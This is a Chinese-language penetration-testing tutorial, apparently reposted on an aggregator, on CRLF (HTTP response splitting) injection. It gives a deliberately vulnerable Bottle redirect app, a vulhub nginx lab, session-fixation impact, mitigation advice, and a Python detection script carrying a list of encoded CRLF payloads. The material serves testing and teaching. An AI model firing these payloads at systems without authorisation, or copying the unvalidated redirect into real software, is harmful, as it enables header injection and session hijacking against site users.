渗透测试-crlf注入原理

news2025/1/10 23:53:27

目录

概念

HTTP报文结构与漏洞原理

漏洞检测

Bottle之CRLF漏洞

nginx配置错误之CRLF漏洞

漏洞危害

会话固定

修复建议

漏洞检测POC


概念

         这个漏洞一般很少出现。  
         CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)。十六进制编码分别为0x0d和0x0a,URL编码为%0D和%0A。CR和LF组合在一起即CRLF命令,它表示键盘上的"Enter"键,许多应用程序和网络协议使用这些命令作为分隔符。

  • CR:回车,移动到当前行的开始
  • LF:换行 ,光标垂直移动到下一行

         了解这个漏洞之前我们需先了解HTTP报文结构

HTTP报文结构与漏洞原理

        在http协议中,http header之间用一个CRLF字符序列分割开来,Head与Body之间用两个CRLF分割开,浏览器根据这两个CRLF来取出HTTP内容并显示出来。

      所以如果用户的输入在http返回包的Header处回显,如重定向

我们就可以通过添加一个crlf来提前结束响应头。如?url=https://www.baidu.com%0d%0aSet-Cookie:12345,浏览器识别到其中存在一个CRLF,就会把其后面的数据当做响应头来处理,提前结束响应头

漏洞检测

        如果请求头中输入的某个值在返回包的header处回显,则可以进行测试。在其后面加上%0d%0aSet-Cookie:12345 ,返回包中存在Set-Cookie字段则存在漏洞,如下Bottle的某个版本存在crlf注入漏洞,通过在请求头部添加CRLF,其之后的内容被当做了另一个响应头进行处理

Bottle之CRLF漏洞

Bottle:一个python web框架

crlf.py


    
  1. import bottle
  2. from bottle import route, run, request
  3. @route('/')
  4. def index():
  5. crlf_test = request.query.get( 'url', '')
  6. return bottle.redirect(crlf_test)
  7. if __name__ == '__main__':
  8. bottle.debug( True)
  9. run(host= '192.168.60.7', port= 8081)

执行python crlf.py,访问192.168.60.7:8081/?url=https://www.baidu.com,在请求中拼接%0d%0aSet-Cookie:123,返回包中存在Set-Cookie字段

nginx配置错误之CRLF漏洞

使用vulhub的环境,进入/vulhub-master/nginx/insecure-configuration目录,执行docker-compose up -d启动环境

访问8080端口,并添加%0d%0aset-cookie:123

漏洞危害

        根据插入的CRLF的个数不同,可设置任意的响应头,控制响应正文。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定

什么是会话固定,传送门 -》会话固定

       会话固定:用户登录前和登录后,会话ID(cookie)值是一样的。

       如果服务器存在会话固定漏洞,攻击者通过给访问者事先设定一个sessionID值,然后通过各种手段促使受害者使用这个会话ID通过服务器验证,这样攻击者就可以通过这个会话ID进入受害者的账户。

修复建议

1. 过滤CRLF字符以及其他控制字符
2. 用户的输入不对其直接输出

漏洞检测POC

写了一个简单的漏洞检测脚本,payload可以根据需求自行添加


    
  1. import requests
  2. import argparse
  3. from requests.packages import urllib3
  4. urllib3.disable_warnings()
  5. from colorama import init
  6. init(autoreset= True)
  7. header={
  8. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
  9. }
  10. def url():
  11. des= "CRLF注入漏洞POC"
  12. parser = argparse.ArgumentParser(description=des)
  13. parser.add_argument( '--target_url', type= str, help= 'The target address,example: http://192.168.140.153:8081')
  14. args = parser.parse_args()
  15. target_url = args.target_url
  16. print( "[-]CRLF注入漏洞POC")
  17. print( "[-]正在执行检测...")
  18. print( "[-]目标地址:",target_url)
  19. return target_url
  20. def check( target_url):
  21. payload=[ '%E5%98%8A%E5%98%8D%0D%0Aheader:header', '%E5%98%8A%E5%98%8D%0Dheader:header', '%E5%98%8A%E5%98%8D%0Aheader:header', '%E5%98%8A%E5%98%8Dheader:header', '%5cr%5cnheader:header', '%3F%0D%0Aheader:header', '%3F%0Aheader:header', '%23%OAheader:header', '%23%0D%0Aheader:header', '%23%0Aheader:header', '%20%0D%0Aheader:header', '%20%0Dheader:header', '%20%0Aheader:header', '%0D%20header:header', '%0D%0A%20header:header', '%0D%0A%09header:header', '%0aheader:header', '%0d%0aheader:header', '/%0d%0aheader:header', '/?url=https://www.baidu.com%0d%0aheader:header', '/?id=%0d%0aheader:header', '?url=%0d%0aheader:header', '?id=%0d%0aheader:header', '%0aheader:header', '%0dheader:header', '%23%0dheader:header', '%3f%0dheader:header', '/%250aheader:header', '/%25250aheader:header', '/%%0a0aheader:header', '/%3f%0dheader:header', '/%23%0dheader:header', '/%25%30aheader:header', '/%25%30%61header:header', '/%u000aheader:header', '/www.baidu.com/%2f%2e%2e%0d%0aheader:header']
  22. result = False
  23. for i in payload:
  24. url = target_url + i
  25. #print(url)
  26. try:
  27. headers = requests.get(url=url,headers=header,allow_redirects= False,verify= False,timeout= 4).headers
  28. #print(headers)
  29. if 'header' in list(headers):
  30. print( '\033[0;31m[+]漏洞存在\033[0m')
  31. result = True
  32. return True
  33. break
  34. except:
  35. pass
  36. if not result:
  37. print( '\033[0;32m[+]漏洞不存在\033[0m')
  38. if __name__ == '__main__':
  39. target_url = url()
  40. check(target_url)

里面有几个小的知识点,因为crlf一般发生在重定向的地方,脚本中在请求一个url的时候会发出两个请求包,第一个是为301重定向的数据包,第二个是访问重定向后的url,而脚本输出请求url的返回的数据的时候只会输出第二个数据包,这里就需用在requests.get中添加allow_redirects=False,禁止访问重定向的url,这样我们就能查看第一个url的返回信息。还有就是requests在访问某个url异常即没有反应的时候会抛出异常然后程序停止,然而我们脚本中需要在url中拼接一个个payload进行访问,每个拼接后的url都要求访问然后查看返回的数据,不能让程序停止,所以要添加try,except:pass,让请求url错误的时候也不会停止程序的运行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/94941.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Nodejs计算机毕业设计基于的学生事务管理系统Express(程序+LW)

该项目含有源码、文档、程序、数据库、配套开发软件、软件安装教程。欢迎交流 项目运行 环境配置: Node.js Vscode Mysql5.7 HBuilderXNavicat11VueExpress。 项目技术: Express框架 Node.js Vue 等等组成,B/S模式 Vscode管理前后端分…

Java+mysql基于SSM的网上出差审批与费用报销系统 开题 毕业设计

本课题是一个基于SSM的管理系统,本网上出差审批与费用报销系统是在Windows7系统的环境下,利用Eclipse和Mysql工具开发的。在网上出差审批与费用报销系统中分为管理员和普通用户2个模块。其中网上出差审批与费用报销系统中的管理人员在登陆之后可以管理本系统内的部门信息管理,员…

性能测试场景:如何进行场景设计?

我们在前面屡次强调了场景的重要性,今天终于到了要把实际场景拿出来解析的时候了。 在本篇文章中,为了保证数据的连续性,我用之前的项目资料来作明确地说明。同时为了模糊关键业务信息,以及让场景的描述更通用性,我会把所有的业务名隐去。 根据之前我们所说的,基准性能…

【DevOps实战系列】第六章:详解Docker私服Nexus3篇

个人亲自录制全套DevOps系列实战教程 :手把手教你玩转DevOps全栈技术 概述/目标 私服我们很熟悉了,比如docker hub就是官方私服,而有些情况比如我们自建的镜像,不想往外传,就需要考虑内部搭建一个私有服务器来存放私有…

ELK 日志框架搭建 (springboot 接入 elk)

什么是ELK? ELK 是一个开源的实时日志分析平台,它主要由 Elasticsearch、Logstash 和 Kiabana 三部分组成。 Logstash Logstash 主要用于收集日志,它是一个开源数据收集引擎,具有实时管道功能。Logstash 可以动态地将来自不同数…

《大正野球娘》:棒球少女·棒球1号位

《大正野球娘。》是根据神乐坂淳的人气轻小说「大正棒球少女」及「大正棒球少女~沾满土与尘~」改编的电视动画。原作小说是神乐坂淳原作,小池定路插画的轻小说改德间书店出版,至2009年6月已发行三卷。此外,小说还被改编…

曙光超算平台如何使用以及常见问题

官方参考链接如下,有需要的自取: Notebook 计算服务 了解常用的E-shell命令 (1) squeue: 查看目前提交作业的信息 (2) salloc :抢占计算资源命令 salloc -p wzhdtest -N 1 -n 8 --gresdcu:1 (部分地区有绑卡机制,比如乌镇&am…

PHP将PDF转图片-实战

Windows环境下 一、开启 Imagick 扩展 1、安装PHP扩展:Imagick,下载地址 https://pecl.php.net/package/imagick 注意和php版本保持一致; 2、将下载下来的文件解压,把php_imagick.dll复制到php/ext下,即php的扩展目…

【人脸识别】形态学教室人数统计(带面板)【含Matlab源码 1703期】

⛄一、人数统计简介(附课程作业报告) 1 课题背景 本课题为基于matlab的人数统计系统。近年来,很多行业对人流信息有极大的需求,如汽车公交站,地铁站台,商场出入口等。通过人数统计系统可以方便、可靠、实时…

5-6: Elasticsearch(入门安装)

Elasticsearch简介 一个分布式的(多台服务器集群部署)、Restful风格(设计风格,前后端交互的风格,请求标准的描述)的搜索引擎。支持对各种类型的数据的检索。搜索速度快,可以提供实时的搜索服务。便于水平扩展&#xf…

23.层和块

在构造自定义块之前,我们先回顾一下多层感知机 的代码。 下面的代码生成一个网络,其中包含一个具有256个单元和ReLU激活函数的全连接隐藏层, 然后是一个具有10个隐藏单元且不带激活函数的全连接输出层。 import torch from torch import nn …

是面试官放水,还是公司实在是太缺人?这都没挂,京东原来这么容易进...

“京东是大企业,是不是很难进去啊?”“在京东做软件测试,能得到很好的发展吗?一进去就有9.5K,其实也没有想的那么难”直到现在,心情都还是无比激动! 本人211非科班,之前在字节和腾讯…

第04讲:Security之用户授权

一、创建项目 参考:浅试Security 二、实现用户授权 2.1、基于权限进行访问控制 hasAuthority方法:如果当前的主体具有指定的权限,则返回true,否则返回false。hasAnyAuthority方法:如果当前的主体有任何提供的权限的…

二叉树的前序-中序-后序遍历

在牛客网刷到了二叉树的遍历,二叉树的遍历分为前序遍历,前序遍历也有先序遍历之称,还有中序遍历,以及后序遍历,这么多种遍历,遍历的方式不一样而已,前序遍历是先遍历根然后左节点然后是右节点&a…

两年前端的2022:24岁、辗转三省、进入阿里

前言 前排声明:文中主人公不是博主,另外本文只是一些朋友在工作、生活上的经历和琐碎,想看技术干货的掘友请止步,不要在本文上浪费你的学习时间~~~ 2022年,也实实在在满24岁了,毕业进入社会两年多&#xff…

我与外企上司的四个职场故事

标题:我与外企上司的四个职场故事 我在目前这家任职的外企从事软件开发工作,已经整整十五年了。本系列文章通过介绍我与自己上司的四个职场小故事,想和大家分享在外企里,一个程序员除了埋头提升自己技术之外,还有哪些…

数据自动录入并生成报表神器怎么玩?

做报表、分析数据、做汇报是许多打工人的日常,每天都要耗费不少的时间用Excel来整理、清洗数据和生成好看的报表。如果这些数据都是手动整理、复制粘贴的话,不仅费时费力,而且很容易出错。 在越来越多企业采用SaaS产品和不同数据应用的今天&…

没有任何销售经验怎么进行销售团队管理?

没有任何销售经验想要进行销售团队管理,并不是一件容易的事情。每一行都有值得研究和学习的地方,需要学习补充的知识点还是比较多的。 参考《销售管理管理成长手册》,本文为您讲解以下管理知识,包括:1、明白销售经理是…

春招升级打怪拿offer,10w+字总结的Java面试题(附答案)够你刷

春招升级打怪拿offer,献上熬夜整理最新“10w字总结的Java面试题(附答案)”够你刷! 其包含的内容模块有:基础、JVM、多线程与高并发、Spring、MyBatis、SpringBoot、MYSQL、SpringCloud、Dubbo、Nginx、MQ、数据结构与算…

libevent实战学习

目录 编译安装libevent libevent 事件对象 事件操作 事件循环 事件处理 libevent 客户端demo libevent 服务端demo libevent 服务端升级demo libevent完整demo 总结 C/CLinux服务器开发/后台架构师【零声教育】-学习视频教程-腾讯课堂 编译安装libevent git上下载h…